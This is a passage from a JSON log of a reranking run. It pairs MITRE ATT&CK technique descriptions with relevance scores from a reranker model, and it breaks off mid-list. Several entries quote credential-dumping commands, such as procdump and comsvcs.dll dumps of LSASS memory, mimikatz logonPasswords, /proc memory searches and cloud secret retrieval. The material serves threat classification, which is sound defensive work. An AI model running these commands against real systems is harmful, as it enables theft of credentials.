access to useful credentials or circumvent the process to gain authenticated access to systems. One example of this is `MS14-068`, which targets Kerberos and can be used to forge Kerberos tickets using domain user permissions. Another example of this is replay attacks, in which the adversary intercepts data packets sent between parties and then later replays these packets. If services don't properly validate authentication requests, these replayed packets may allow an adversary to impersonate one of the parties and gain unauthorized access or privileges. Such exploitation has been demonstrated in cloud environments as well. For example, adversaries have exploited vulnerabilities in public cloud infrastructure that allowed for unintended authentication token creation and renewal. Exploitation for credential access may also result in Privilege Escalation depending on the process targeted or credentials obtained.\nTactics: credential access\nPlatforms: Identity Provider, Linux, Windows, macOS" + }, + { + "id": "T1003.001", + "text": "ATT&CK technique: T1003.001 LSASS Memory\nDescription: Adversaries may attempt to access credential material stored in the process memory of the Local Security Authority Subsystem Service (LSASS). After a user logs on, the system generates and stores a variety of credential materials in LSASS process memory. These credential materials can be harvested by an administrative user or SYSTEM and used to conduct Lateral Movement using Use Alternate Authentication Material. As well as in-memory techniques, the LSASS process memory can be dumped from the target host and analyzed on a local system. For example, on the target host use procdump: * procdump -ma lsass.exe lsass_dump Locally, mimikatz can be run using: * sekurlsa::Minidump lsassdump.dmp * sekurlsa::logonPasswords Built-in Windows tools such as `comsvcs.dll` can also be used: * rundll32.exe C:\\Windows\\System32\\comsvcs.dll MiniDump PID lsass.dmp full Similar to Image File Execution Options Injection, the silent process exit mechanism can be abused to create a memory dump of `lsass.exe` through Windows Error Reporting (`WerFault.exe`). Windows Security Support Provider (SSP) DLLs are loaded into LSASS process at system start. Once loaded into the LSA, SSP DLLs have access to encrypted and plaintext passwords that are stored in Windows, such as any logged-on user's Domain password or smart card PINs. The SSP configuration is stored in two Registry keys: HKLM\\SYSTEM\\CurrentControlSet\\Control\\Lsa\\Security Packages and HKLM\\SYSTEM\\CurrentControlSet\\Control\\Lsa\\OSConfig\\Security Packages. An adversary may modify these Registry keys to add new SSPs, which will be loaded the next time the system boots, or when the AddSecurityPackage Windows API function is called. The following SSPs can be used to access credentials: * Msv: Interactive logons, batch logons, and service logons are done through the MSV authentication package. * Wdigest: The Digest Authentication protocol is designed for use with Hypertext Transfer Protocol (HTTP) and Simple Authentication Security Layer (SASL) exchanges. * Kerberos: Preferred for mutual client-server domain authentication in Windows 2000 and later. * CredSSP: Provides SSO and Network Level Authentication for Remote Desktop Services.\nTactics: credential access\nPlatforms: Windows" + }, + { + "id": "T1213.005", + "text": "ATT&CK technique: T1213.005 Messaging Applications\nDescription: Adversaries may leverage chat and messaging applications, such as Microsoft Teams, Google Chat, and Slack, to mine valuable information. The following is a brief list of example information that may hold potential value to an adversary and may also be found on messaging applications: * Testing / development credentials (i.e., Chat Messages) * Source code snippets * Links to network shares and other internal resources * Proprietary data * Discussions about ongoing incident response efforts In addition to exfiltrating data from messaging applications, adversaries may leverage data from chat messages in order to improve their targeting - for example, by learning more about an environment or evading ongoing incident response efforts.\nTactics: collection\nPlatforms: Office Suite, SaaS" + }, + { + "id": "T1550.004", + "text": "ATT&CK technique: T1550.004 Web Session Cookie\nDescription: Adversaries can use stolen session cookies to authenticate to web applications and services. This technique bypasses some multi-factor authentication protocols since the session is already authenticated. Authentication cookies are commonly used in web applications, including cloud-based services, after a user has authenticated to the service so credentials are not passed and re-authentication does not need to occur as frequently. Cookies are often valid for an extended period of time, even if the web application is not actively used. After the cookie is obtained through Steal Web Session Cookie or Web Cookies, the adversary may then import the cookie into a browser they control and is then able to use the site or application as the user for as long as the session cookie is active. Once logged into the site, an adversary can access sensitive information, read email, or perform actions that the victim account has permissions to perform. There have been examples of malware targeting session cookies to bypass multi-factor authentication systems.\nTactics: lateral movement\nPlatforms: IaaS, Office Suite, SaaS" + }, + { + "id": "T1598", + "text": "ATT&CK technique: T1598 Phishing for Information\nDescription: Adversaries may send phishing messages to elicit sensitive information that can be used during targeting. Phishing for information is an attempt to trick targets into divulging information, frequently credentials or other actionable information. Phishing for information is different from Phishing in that the objective is gathering data from the victim rather than executing malicious code. All forms of phishing are electronically delivered social engineering. Phishing can be targeted, known as spearphishing. In spearphishing, a specific individual, company, or industry will be targeted by the adversary. More generally, adversaries can conduct non-targeted phishing, such as in mass credential harvesting campaigns. Adversaries may also try to obtain information directly through the exchange of emails, instant messages, or other electronic conversation means. Victims may also receive phishing messages that direct them to call a phone number where the adversary attempts to collect confidential information. Phishing for information frequently involves social engineering techniques, such as posing as a source with a reason to collect information (ex: Establish Accounts or Compromise Accounts) and/or sending multiple, seemingly urgent messages. Another way to accomplish this is by Email Spoofing the identity of the sender, which can be used to fool both the human recipient as well as automated security tools. Phishing for information may also involve evasive techniques, such as removing or manipulating emails or metadata/headers from compromised accounts being abused to send messages (e.g., Email Hiding Rules).\nTactics: reconnaissance\nPlatforms: PRE" + }, + { + "id": "T1598.002", + "text": "ATT&CK technique: T1598.002 Spearphishing Attachment\nDescription: Adversaries may send spearphishing messages with a malicious attachment to elicit sensitive information that can be used during targeting. Spearphishing for information is an attempt to trick targets into divulging information, frequently credentials or other actionable information. Spearphishing for information frequently involves social engineering techniques, such as posing as a source with a reason to collect information (ex: Establish Accounts or Compromise Accounts) and/or sending multiple, seemingly urgent messages. All forms of spearphishing are electronically delivered social engineering targeted at a specific individual, company, or industry. In this scenario, adversaries attach a file to the spearphishing email. In some cases, they may rely upon the recipient populating information, then returning the file. The text of the spearphishing email usually tries to give a plausible reason why the file should be filled-in, such as a request for information from a business associate. In other cases, adversaries may leverage techniques such as HTML Smuggling to harvest user credentials via fake login portals. Adversaries may also use information from previous reconnaissance efforts (ex: Search Open Websites/Domains or Search Victim-Owned Websites) to craft persuasive and believable lures.\nTactics: reconnaissance\nPlatforms: PRE" + }, + { + "id": "T1591.004", + "text": "ATT&CK technique: T1591.004 Identify Roles\nDescription: Adversaries may gather information about identities and roles within the victim organization that can be used during targeting. Information about business roles may reveal a variety of targetable details, including identifiable information for key personnel as well as what data/resources they have access to. Adversaries may gather this information in various ways, such as direct elicitation via Phishing for Information. Information about business roles may also be exposed to adversaries via online or other accessible data sets (ex: Social Media or Search Victim-Owned Websites). Gathering this information may reveal opportunities for other forms of reconnaissance (ex: Phishing for Information or Search Open Websites/Domains), establishing operational resources (ex: Establish Accounts or Compromise Accounts), and/or initial access (ex: Phishing).\nTactics: reconnaissance\nPlatforms: PRE" + }, + { + "id": "T1681", + "text": "ATT&CK technique: T1681 Search Threat Vendor Data\nDescription: Threat actors may seek information/indicators from closed or open threat intelligence sources gathered about their own campaigns, as well as those conducted by other adversaries that may align with their target industries, capabilities/objectives, or other operational concerns. These reports may include descriptions of behavior, detailed breakdowns of attacks, atomic indicators such as malware hashes or IP addresses, timelines of a group’s activity, and more. Adversaries may change their behavior when planning their future operations. Adversaries have been observed replacing atomic indicators mentioned in blog posts in under a week. Adversaries have also been seen searching for their own domain names in threat vendor data and then taking them down, likely to avoid seizure or further investigation. This technique is distinct from Threat Intel Vendors in that it describes threat actors performing reconnaissance on their own activity, not in search of victim information.\nTactics: reconnaissance\nPlatforms: PRE" + }, + { + "id": "T1596.005", + "text": "ATT&CK technique: T1596.005 Scan Databases\nDescription: Adversaries may search within public scan databases for information about victims that can be used during targeting. Various online services continuously publish the results of Internet scans/surveys, often harvesting information such as active IP addresses, hostnames, open ports, certificates, and even server banners. Adversaries may search scan databases to gather actionable information. Threat actors can use online resources and lookup tools to harvest information from these services. Adversaries may seek information about their already identified targets, or use these datasets to discover opportunities for successful breaches. Information from these sources may reveal opportunities for other forms of reconnaissance (ex: Active Scanning or Search Open Websites/Domains), establishing operational resources (ex: Develop Capabilities or Obtain Capabilities), and/or initial access (ex: External Remote Services or Exploit Public-Facing Application).\nTactics: reconnaissance\nPlatforms: PRE" + }, + { + "id": "T1003.007", + "text": "ATT&CK technique: T1003.007 Proc Filesystem\nDescription: Adversaries may gather credentials from the proc filesystem or `/proc`. The proc filesystem is a pseudo-filesystem used as an interface to kernel data structures for Linux based systems managing virtual memory. For each process, the `/proc//maps` file shows how memory is mapped within the process’s virtual address space. And `/proc//mem`, exposed for debugging purposes, provides access to the process’s virtual address space. When executing with root privileges, adversaries can search these memory locations for all processes on a system that contain patterns indicative of credentials. Adversaries may use regex patterns, such as grep -E \"^[0-9a-f-]* r\" /proc/\"$pid\"/maps | cut -d' ' -f 1, to look for fixed strings in memory structures or cached hashes. When running without privileged access, processes can still view their own virtual memory locations. Some services or programs may save credentials in clear text inside the process’s memory. If running as or with the permissions of a web browser, a process can search the `/maps` & `/mem` locations for common website credential patterns (that can also be used to find adjacent memory within the same structure) in which hashes or cleartext credentials may be located.\nTactics: credential access\nPlatforms: Linux" + }, + { + "id": "T1596.004", + "text": "ATT&CK technique: T1596.004 CDNs\nDescription: Adversaries may search content delivery network (CDN) data about victims that can be used during targeting. CDNs allow an organization to host content from a distributed, load balanced array of servers. CDNs may also allow organizations to customize content delivery based on the requestor’s geographical region. Adversaries may search CDN data to gather actionable information. Threat actors can use online resources and lookup tools to harvest information about content servers within a CDN. Adversaries may also seek and target CDN misconfigurations that leak sensitive information not intended to be hosted and/or do not have the same protection mechanisms (ex: login portals) as the content hosted on the organization’s website. Information from these sources may reveal opportunities for other forms of reconnaissance (ex: Active Scanning or Search Open Websites/Domains), establishing operational resources (ex: Acquire Infrastructure or Compromise Infrastructure), and/or initial access (ex: Drive-by Compromise).\nTactics: reconnaissance\nPlatforms: PRE" + }, + { + "id": "T1555.005", + "text": "ATT&CK technique: T1555.005 Password Managers\nDescription: Adversaries may acquire user credentials from third-party password managers. Password managers are applications designed to store user credentials, normally in an encrypted database. Credentials are typically accessible after a user provides a master password that unlocks the database. After the database is unlocked, these credentials may be copied to memory. These databases can be stored as files on disk. Adversaries may acquire user credentials from password managers by extracting the master password and/or plain-text credentials from memory. Adversaries may extract credentials from memory via Exploitation for Credential Access. Adversaries may also try brute forcing via Password Guessing to obtain the master password of a password manager.\nTactics: credential access\nPlatforms: Linux, Windows, macOS" + }, + { + "id": "T1597.001", + "text": "ATT&CK technique: T1597.001 Threat Intel Vendors\nDescription: Adversaries may search private data from threat intelligence vendors for information that can be used during targeting. Threat intelligence vendors may offer paid feeds or portals that offer more data than what is publicly reported. Although sensitive details (such as customer names and other identifiers) may be redacted, this information may contain trends regarding breaches such as target industries, attribution claims, and successful TTPs/countermeasures. Adversaries may search in private threat intelligence vendor data to gather actionable information. If a threat actor is searching for information on their own activities, that falls under Search Threat Vendor Data. Information reported by vendors may also reveal opportunities other forms of reconnaissance (ex: Search Open Websites/Domains), establishing operational resources (ex: Develop Capabilities or Obtain Capabilities), and/or initial access (ex: Exploit Public-Facing Application or External Remote Services).\nTactics: reconnaissance\nPlatforms: PRE" + }, + { + "id": "T1114.002", + "text": "ATT&CK technique: T1114.002 Remote Email Collection\nDescription: Adversaries may target an Exchange server, Office 365, or Google Workspace to collect sensitive information. Adversaries may leverage a user's credentials and interact directly with the Exchange server to acquire information from within a network. Adversaries may also access externally facing Exchange services, Office 365, or Google Workspace to access email using credentials or access tokens. Tools such as MailSniper can be used to automate searches for specific keywords.\nTactics: collection\nPlatforms: Office Suite, Windows" + }, + { + "id": "T1110.004", + "text": "ATT&CK technique: T1110.004 Credential Stuffing\nDescription: Adversaries may use credentials obtained from breach dumps of unrelated accounts to gain access to target accounts through credential overlap. Occasionally, large numbers of username and password pairs are dumped online when a website or service is compromised and the user account credentials accessed. The information may be useful to an adversary attempting to compromise accounts by taking advantage of the tendency for users to use the same passwords across personal and business accounts. Credential stuffing is a risky option because it could cause numerous authentication failures and account lockouts, depending on the organization's login failure policies. Typically, management services over commonly used ports are used when stuffing credentials. Commonly targeted services include the following: * SSH (22/TCP) * Telnet (23/TCP) * FTP (21/TCP) * NetBIOS / SMB / Samba (139/TCP & 445/TCP) * LDAP (389/TCP) * Kerberos (88/TCP) * RDP / Terminal Services (3389/TCP) * HTTP/HTTP Management Services (80/TCP & 443/TCP) * MSSQL (1433/TCP) * Oracle (1521/TCP) * MySQL (3306/TCP) * VNC (5900/TCP) In addition to management services, adversaries may \"target single sign-on (SSO) and cloud-based applications utilizing federated authentication protocols,\" as well as externally facing email applications, such as Office 365.\nTactics: credential access\nPlatforms: Containers, ESXi, IaaS, Identity Provider, Linux, Network Devices, Office Suite, SaaS, Windows, macOS" + }, + { + "id": "T1555.004", + "text": "ATT&CK technique: T1555.004 Windows Credential Manager\nDescription: Adversaries may acquire credentials from the Windows Credential Manager. The Credential Manager stores credentials for signing into websites, applications, and/or devices that request authentication through NTLM or Kerberos in Credential Lockers (previously known as Windows Vaults). The Windows Credential Manager separates website credentials from application or network credentials in two lockers. As part of Credentials from Web Browsers, Internet Explorer and Microsoft Edge website credentials are managed by the Credential Manager and are stored in the Web Credentials locker. Application and network credentials are stored in the Windows Credentials locker. Credential Lockers store credentials in encrypted `.vcrd` files, located under `%Systemdrive%\\Users\\\\[Username]\\AppData\\Local\\Microsoft\\\\[Vault/Credentials]\\`. The encryption key can be found in a file named Policy.vpol, typically located in the same folder as the credentials. Adversaries may list credentials managed by the Windows Credential Manager through several mechanisms. vaultcmd.exe is a native Windows executable that can be used to enumerate credentials stored in the Credential Locker through a command-line interface. Adversaries may also gather credentials by directly reading files located inside of the Credential Lockers. Windows APIs, such as CredEnumerateA, may also be absued to list credentials managed by the Credential Manager. Adversaries may also obtain credentials from credential backups. Credential backups and restorations may be performed by running rundll32.exe keymgr.dll KRShowKeyMgr then selecting the “Back up...” button on the “Stored User Names and Passwords” GUI. Password recovery tools may also obtain plain text passwords from the Credential Manager.\nTactics: credential access\nPlatforms: Windows" + }, + { + "id": "T1552.001", + "text": "ATT&CK technique: T1552.001 Credentials In Files\nDescription: Adversaries may search local file systems and remote file shares for files containing insecurely stored credentials. These can be files created by users to store their own credentials, shared credential stores for a group of individuals, configuration files containing passwords for a system or service, or source code/binary files containing embedded passwords. It is possible to extract passwords from backups or saved virtual machines through OS Credential Dumping. Passwords may also be obtained from Group Policy Preferences stored on the Windows Domain Controller. In cloud and/or containerized environments, authenticated user and service account credentials are often stored in local configuration and credential files. They may also be found as parameters to deployment commands in container logs. In some cases, these files can be copied and reused on another machine or the contents can be read and then used to authenticate without needing to copy any files.\nTactics: credential access\nPlatforms: Containers, IaaS, Linux, Windows, macOS" + }, + { + "id": "T1056.001", + "text": "ATT&CK technique: T1056.001 Keylogging\nDescription: Adversaries may log user keystrokes to intercept credentials as the user types them. Keylogging is likely to be used to acquire credentials for new access opportunities when OS Credential Dumping efforts are not effective, and may require an adversary to intercept keystrokes on a system for a substantial period of time before credentials can be successfully captured. In order to increase the likelihood of capturing credentials quickly, an adversary may also perform actions such as clearing browser cookies to force users to reauthenticate to systems. Keylogging is the most prevalent type of input capture, with many different ways of intercepting keystrokes. Some methods include: * Hooking API callbacks used for processing keystrokes. Unlike Credential API Hooking, this focuses solely on API functions intended for processing keystroke data. * Reading raw keystroke data from the hardware buffer. * Windows Registry modifications. * Custom drivers. * Modify System Image may provide adversaries with hooks into the operating system of network devices to read raw keystrokes for login sessions.\nTactics: collection, credential access\nPlatforms: Linux, Network Devices, Windows, macOS" + }, + { + "id": "T1555.006", + "text": "ATT&CK technique: T1555.006 Cloud Secrets Management Stores\nDescription: Adversaries may acquire credentials from cloud-native secret management solutions such as AWS Secrets Manager, GCP Secret Manager, Azure Key Vault, and Terraform Vault. Secrets managers support the secure centralized management of passwords, API keys, and other credential material. Where secrets managers are in use, cloud services can dynamically acquire credentials via API requests rather than accessing secrets insecurely stored in plain text files or environment variables. If an adversary is able to gain sufficient privileges in a cloud environment – for example, by obtaining the credentials of high-privileged Cloud Accounts or compromising a service that has permission to retrieve secrets – they may be able to request secrets from the secrets manager. This can be accomplished via commands such as `get-secret-value` in AWS, `gcloud secrets describe` in GCP, and `az key vault secret show` in Azure. **Note:** this technique is distinct from Cloud Instance Metadata API in that the credentials are being directly requested from the cloud secrets manager, rather than through the medium of the instance metadata API.\nTactics: credential access\nPlatforms: IaaS" + }, + { + "id": "T1677", + "text": "ATT&CK technique: T1677 Poisoned Pipeline Execution\nDescription: Adversaries may manipulate continuous integration / continuous development (CI/CD) processes by injecting malicious code into the build process. There are several mechanisms for poisoning pipelines: * In a Direct Pipeline Execution scenario, the threat actor directly modifies the CI configuration file (e.g., `gitlab-ci.yml` in GitLab). They may include a command to exfiltrate credentials leveraged in the build process to a remote server, or to export them as a workflow artifact. * In an Indirect Pipeline Execution scenario, the threat actor injects malicious code into files referenced by the CI configuration file. These may include makefiles, scripts, unit tests, and linters. * In a Public Pipeline Execution scenario, the threat actor does not have direct access to the repository but instead creates a malicious pull request from a fork that triggers a part of the CI/CD pipeline. For example, in GitHub Actions, the `pull_request_target` trigger allows workflows running from forked repositories to access secrets. If this trigger is combined with an explicit pull request checkout and a location for a threat actor to insert malicious code (e.g., an `npm build` command), a threat actor may be able to leak pipeline credentials. Similarly, threat actors may craft pull requests with malicious inputs (such as branch names) if the build pipeline treats those inputs as trusted. Finally, if a pipeline leverages a self-hosted runner, a threat actor may be able to execute arbitrary code on a host inside the organization’s network. By poisoning CI/CD pipelines, threat actors may be able to gain access to credentials, laterally move to additional hosts, or input malicious components to be shipped further down the pipeline (i.e., Supply Chain Compromise).\nTactics: execution\nPlatforms: SaaS" + }, + { + "id": "T1598.001", + "text": "ATT&CK technique: T1598.001 Spearphishing Service\nDescription: Adversaries may send spearphishing messages via third-party services to elicit sensitive information that can be used during targeting. Spearphishing for information is an attempt to trick targets into divulging information, frequently credentials or other actionable information. Spearphishing for information frequently involves social engineering techniques, such as posing as a source with a reason to collect information (ex: Establish Accounts or Compromise Accounts) and/or sending multiple, seemingly urgent messages. All forms of spearphishing are electronically delivered social engineering targeted at a specific individual, company, or industry. In this scenario, adversaries send messages through various social media services, personal webmail, and other non-enterprise controlled services. These services are more likely to have a less-strict security policy than an enterprise. As with most kinds of spearphishing, the goal is to generate rapport with the target or get the target's interest in some way. Adversaries may create fake social media accounts and message employees for potential job opportunities. Doing so allows a plausible reason for asking about services, policies, and information about their environment. Adversaries may also use information from previous reconnaissance efforts (ex: Social Media or Search Victim-Owned Websites) to craft persuasive and believable lures.\nTactics: reconnaissance\nPlatforms: PRE" + }, + { + "id": "T1586.001", + "text": "ATT&CK technique: T1586.001 Social Media Accounts\nDescription: Adversaries may compromise social media accounts that can be used during targeting. For operations incorporating social engineering, the utilization of an online persona may be important. Rather than creating and cultivating social media profiles (i.e. Social Media Accounts), adversaries may compromise existing social media accounts. Utilizing an existing persona may engender a level of trust in a potential victim if they have a relationship, or knowledge of, the compromised persona. A variety of methods exist for compromising social media accounts, such as gathering credentials via Phishing for Information, purchasing credentials from third-party sites, or by brute forcing credentials (ex: password reuse from breach credential dumps). Prior to compromising social media accounts, adversaries may conduct Reconnaissance to inform decisions about which accounts to compromise to further their operation. Personas may exist on a single site or across multiple sites (ex: Facebook, LinkedIn, Twitter, etc.). Compromised social media accounts may require additional development, this could include filling out or modifying profile information, further developing social networks, or incorporating photos. Adversaries can use a compromised social media profile to create new, or hijack existing, connections to targets of interest. These connections may be direct or may include trying to connect through others. Compromised profiles may be leveraged during other phases of the adversary lifecycle, such as during Initial Access (ex: Spearphishing via Service).\nTactics: resource development\nPlatforms: PRE" + }, + { + "id": "T1185", + "text": "ATT&CK technique: T1185 Browser Session Hijacking\nDescription: Adversaries may take advantage of security vulnerabilities and inherent functionality in browser software to change content, modify user-behaviors, and intercept information as part of various browser session hijacking techniques. A specific example is when an adversary injects software into a browser that allows them to inherit cookies, HTTP sessions, and SSL client certificates of a user then use the browser as a way to pivot into an authenticated intranet. Executing browser-based behaviors such as pivoting may require specific process permissions, such as SeDebugPrivilege and/or high-integrity/administrator rights. Another example involves pivoting browser traffic from the adversary's browser through the user's browser by setting up a proxy which will redirect web traffic. This does not alter the user's traffic in any way, and the proxy connection can be severed as soon as the browser is closed. The adversary assumes the security context of whichever browser process the proxy is injected into. Browsers typically create a new process for each tab that is opened and permissions and certificates are separated accordingly. With these permissions, an adversary could potentially browse to any resource on an intranet, such as Sharepoint or webmail, that is accessible through the browser and which the browser has sufficient permissions. Browser pivoting may also bypass security provided by 2-factor authentication.\nTactics: collection\nPlatforms: Windows" + }, + { + "id": "T1538", + "text": "ATT&CK technique: T1538 Cloud Service Dashboard\nDescription: An adversary may use a cloud service dashboard GUI with stolen credentials to gain useful information from an operational cloud environment, such as specific services, resources, and features. For example, the GCP Command Center can be used to view all assets, review findings of potential security risks, and run additional queries, such as finding public IP addresses and open ports. Depending on the configuration of the environment, an adversary may be able to enumerate more information via the graphical dashboard than an API. This also allows the adversary to gain information without manually making any API requests.\nTactics: discovery\nPlatforms: IaaS, Identity Provider, Office Suite, SaaS" + }, + { + "id": "T1593.003", + "text": "ATT&CK technique: T1593.003 Code Repositories\nDescription: Adversaries may search public code repositories for information about victims that can be used during targeting. Victims may store code in repositories on various third-party websites such as GitHub, GitLab, SourceForge, and BitBucket. Users typically interact with code repositories through a web application or command-line utilities such as git. Adversaries may search various public code repositories for various information about a victim. Public code repositories can often be a source of various general information about victims, such as commonly used programming languages and libraries as well as the names of employees. Adversaries may also identify more sensitive data, including accidentally leaked credentials or API keys. Information from these sources may reveal opportunities for other forms of reconnaissance (ex: Phishing for Information), establishing operational resources (ex: Compromise Accounts or Compromise Infrastructure), and/or initial access (ex: Valid Accounts or Phishing). **Note:** This is distinct from Code Repositories, which focuses on Collection from private and internally hosted code repositories.\nTactics: reconnaissance\nPlatforms: PRE" + }, + { + "id": "T1078.003", + "text": "ATT&CK technique: T1078.003 Local Accounts\nDescription: Adversaries may obtain and abuse credentials of a local account as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion. Local accounts are those configured by an organization for use by users, remote support, services, or for administration on a single system or service. Local Accounts may also be abused to elevate privileges and harvest credentials through OS Credential Dumping. Password reuse may allow the abuse of local accounts across a set of machines on a network for the purposes of Privilege Escalation and Lateral Movement.\nTactics: initial access, persistence, privilege escalation, stealth\nPlatforms: Containers, ESXi, Linux, Network Devices, Windows, macOS" + }, + { + "id": "T1003.003", + "text": "ATT&CK technique: T1003.003 NTDS\nDescription: Adversaries may attempt to access or create a copy of the Active Directory domain database in order to steal credential information, as well as obtain other information about domain members such as devices, users, and access rights. By default, the NTDS file (NTDS.dit) is located in %SystemRoot%\\NTDS\\Ntds.dit of a domain controller. In addition to looking for NTDS files on active Domain Controllers, adversaries may search for backups that contain the same or similar information. The following tools and techniques can be used to enumerate the NTDS file and the contents of the entire Active Directory hashes. * Volume Shadow Copy * secretsdump.py * Using the in-built Windows tool, ntdsutil.exe * Invoke-NinjaCopy\nTactics: credential access\nPlatforms: Windows" + }, + { + "id": "T1204.005", + "text": "ATT&CK technique: T1204.005 Malicious Library\nDescription: Adversaries may rely on a user installing a malicious library to facilitate execution. Threat actors may Upload Malware to package managers such as NPM and PyPi, as well as to public code repositories such as GitHub. User may install libraries without realizing they are malicious, thus bypassing techniques that specifically achieve Initial Access. This can lead to the execution of malicious code, such as code that establishes persistence, steals data, or mines cryptocurrency. In some cases, threat actors may compromise and backdoor existing popular libraries (i.e., Compromise Software Dependencies and Development Tools). Alternatively, they may create entirely new packages and leverage behaviors such as typosquatting to encourage users to install them.\nTactics: execution\nPlatforms: Linux, Windows, macOS" + }, + { + "id": "T1219.003", + "text": "ATT&CK technique: T1219.003 Remote Access Hardware\nDescription: An adversary may use legitimate remote access hardware to establish an interactive command and control channel to target systems within networks. These services, including IP-based keyboard, video, or mouse (KVM) devices such as TinyPilot and PiKVM, are commonly used as legitimate tools and may be allowed by peripheral device policies within a target environment. Remote access hardware may be physically installed and used post-compromise as an alternate communications channel for redundant access or as a way to establish an interactive remote session with the target system. Using hardware-based remote access tools may allow threat actors to bypass software security solutions and gain more control over the compromised device(s).\nTactics: command and control\nPlatforms: Linux, Windows, macOS" + }, + { + "id": "T1087", + "text": "ATT&CK technique: T1087 Account Discovery\nDescription: Adversaries may attempt to get a listing of valid accounts, usernames, or email addresses on a system or within a compromised environment. This information can help adversaries determine which accounts exist, which can aid in follow-on behavior such as brute-forcing, spear-phishing attacks, or account takeovers (e.g., Valid Accounts). Adversaries may use several methods to enumerate accounts, including abuse of existing tools, built-in commands, and potential misconfigurations that leak account names and roles or permissions in the targeted environment. For examples, cloud environments typically provide easily accessible interfaces to obtain user lists. On hosts, adversaries can use default PowerShell and other command line functionality to identify accounts. Information about email addresses and accounts may also be extracted by searching an infected system’s files.\nTactics: discovery\nPlatforms: ESXi, IaaS, Identity Provider, Linux, Office Suite, SaaS, Windows, macOS" + }, + { + "id": "T1591", + "text": "ATT&CK technique: T1591 Gather Victim Org Information\nDescription: Adversaries may gather information about the victim's organization that can be used during targeting. Information about an organization may include a variety of details, including the names of divisions/departments, specifics of business operations, as well as the roles and responsibilities of key employees. Adversaries may gather this information in various ways, such as direct elicitation via Phishing for Information. Information about an organization may also be exposed to adversaries via online or other accessible data sets (ex: Social Media or Search Victim-Owned Websites). Gathering this information may reveal opportunities for other forms of reconnaissance (ex: Phishing for Information or Search Open Websites/Domains), establishing operational resources (ex: Establish Accounts or Compromise Accounts), and/or initial access (ex: Phishing or Trusted Relationship).\nTactics: reconnaissance\nPlatforms: PRE" + } + ], + "instruction": "Determine whether the ATT&CK technique directly describes the observed adversary behavior." + }, + "raw_response": { + "model": "Qwen/Qwen3-Reranker-4B", + "scores": [ + { + "item_id": "T1538", + "score": 0.99609375, + "rank": 0 + }, + { + "item_id": "T1056.002", + "score": 0.9921875, + "rank": 1 + }, + { + "item_id": "T1555.004", + "score": 0.91015625, + "rank": 2 + }, + { + "item_id": "T1078", + "score": 0.5, + "rank": 3 + }, + { + "item_id": "T1033", + "score": 0.46875, + "rank": 4 + }, + { + "item_id": "T1555", + "score": 0.37890625, + "rank": 5 + }, + { + "item_id": "T1555.005", + "score": 0.333984375, + "rank": 6 + }, + { + "item_id": "T1056", + "score": 0.28125, + "rank": 7 + }, + { + "item_id": "T1003", + "score": 0.22265625, + "rank": 8 + }, + { + "item_id": "T1589.001", + "score": 0.1640625, + "rank": 9 + }, + { + "item_id": "T1552", + "score": 0.125, + "rank": 10 + }, + { + "item_id": "T1539", + "score": 0.0810546875, + "rank": 11 + }, + { + "item_id": "T1021", + "score": 0.0712890625, + "rank": 12 + }, + { + "item_id": "T1078.003", + "score": 0.06396484375, + "rank": 13 + }, + { + "item_id": "T1185", + "score": 0.06005859375, + "rank": 14 + }, + { + "item_id": "T1606", + "score": 0.056396484375, + "rank": 15 + }, + { + "item_id": "T1555.003", + "score": 0.050537109375, + "rank": 16 + }, + { + "item_id": "T1003.004", + "score": 0.0419921875, + "rank": 17 + }, + { + "item_id": "T1556", + "score": 0.039306640625, + "rank": 18 + }, + { + "item_id": "T1056.003", + "score": 0.03759765625, + "rank": 19 + }, + { + "item_id": "T1212", + "score": 0.03759765625, + "rank": 20 + }, + { + "item_id": "T1056.001", + "score": 0.03759765625, + "rank": 21 + }, + { + "item_id": "T1550.004", + "score": 0.035400390625, + "rank": 22 + }, + { + "item_id": "T1003.002", + "score": 0.033203125, + "rank": 23 + }, + { + "item_id": "T1217", + "score": 0.0274658203125, + "rank": 24 + }, + { + "item_id": "T1555.006", + "score": 0.023193359375, + "rank": 25 + }, + { + "item_id": "T1528", + "score": 0.0167236328125, + "rank": 26 + }, + { + "item_id": "T1586", + "score": 0.015625, + "rank": 27 + }, + { + "item_id": "T1589", + "score": 0.01519775390625, + "rank": 28 + }, + { + "item_id": "T1552.001", + "score": 0.01519775390625, + "rank": 29 + }, + { + "item_id": "T1005", + "score": 0.013427734375, + "rank": 30 + }, + { + "item_id": "T1113", + "score": 0.0111083984375, + "rank": 31 + }, + { + "item_id": "T1556.003", + "score": 0.0111083984375, + "rank": 32 + }, + { + "item_id": "T1087", + "score": 0.0111083984375, + "rank": 33 + }, + { + "item_id": "T1598", + "score": 0.00982666015625, + "rank": 34 + }, + { + "item_id": "T1056.004", + "score": 0.00921630859375, + "rank": 35 + }, + { + "item_id": "T1557", + "score": 0.0086669921875, + "rank": 36 + }, + { + "item_id": "T1552.007", + "score": 0.00762939453125, + "rank": 37 + }, + { + "item_id": "T1598.003", + "score": 0.0052490234375, + "rank": 38 + }, + { + "item_id": "T1003.001", + "score": 0.0052490234375, + "rank": 39 + }, + { + "item_id": "T1003.007", + "score": 0.0052490234375, + "rank": 40 + }, + { + "item_id": "T1566", + "score": 0.004638671875, + "rank": 41 + }, + { + "item_id": "T1059", + "score": 0.004638671875, + "rank": 42 + }, + { + "item_id": "T1219.003", + "score": 0.00408935546875, + "rank": 43 + }, + { + "item_id": "T1114.002", + "score": 0.00384521484375, + "rank": 44 + }, + { + "item_id": "T1598.002", + "score": 0.00372314453125, + "rank": 45 + }, + { + "item_id": "T1593.002", + "score": 0.00360107421875, + "rank": 46 + }, + { + "item_id": "T1110.004", + "score": 0.0031890869140625, + "rank": 47 + }, + { + "item_id": "T1082", + "score": 0.00299072265625, + "rank": 48 + }, + { + "item_id": "T1003.003", + "score": 0.002899169921875, + "rank": 49 + }, + { + "item_id": "T1552.008", + "score": 0.0026397705078125, + "rank": 50 + }, + { + "item_id": "T1115", + "score": 0.0021820068359375, + "rank": 51 + }, + { + "item_id": "T1598.001", + "score": 0.0021209716796875, + "rank": 52 + }, + { + "item_id": "T1041", + "score": 0.00193023681640625, + "rank": 53 + }, + { + "item_id": "T1213.003", + "score": 0.0017547607421875, + "rank": 54 + }, + { + "item_id": "T1213.005", + "score": 0.00154876708984375, + "rank": 55 + }, + { + "item_id": "T1597.002", + "score": 0.00136566162109375, + "rank": 56 + }, + { + "item_id": "T1114", + "score": 0.0013275146484375, + "rank": 57 + }, + { + "item_id": "T1125", + "score": 0.00124359130859375, + "rank": 58 + }, + { + "item_id": "T1565", + "score": 0.00113677978515625, + "rank": 59 + }, + { + "item_id": "T1587", + 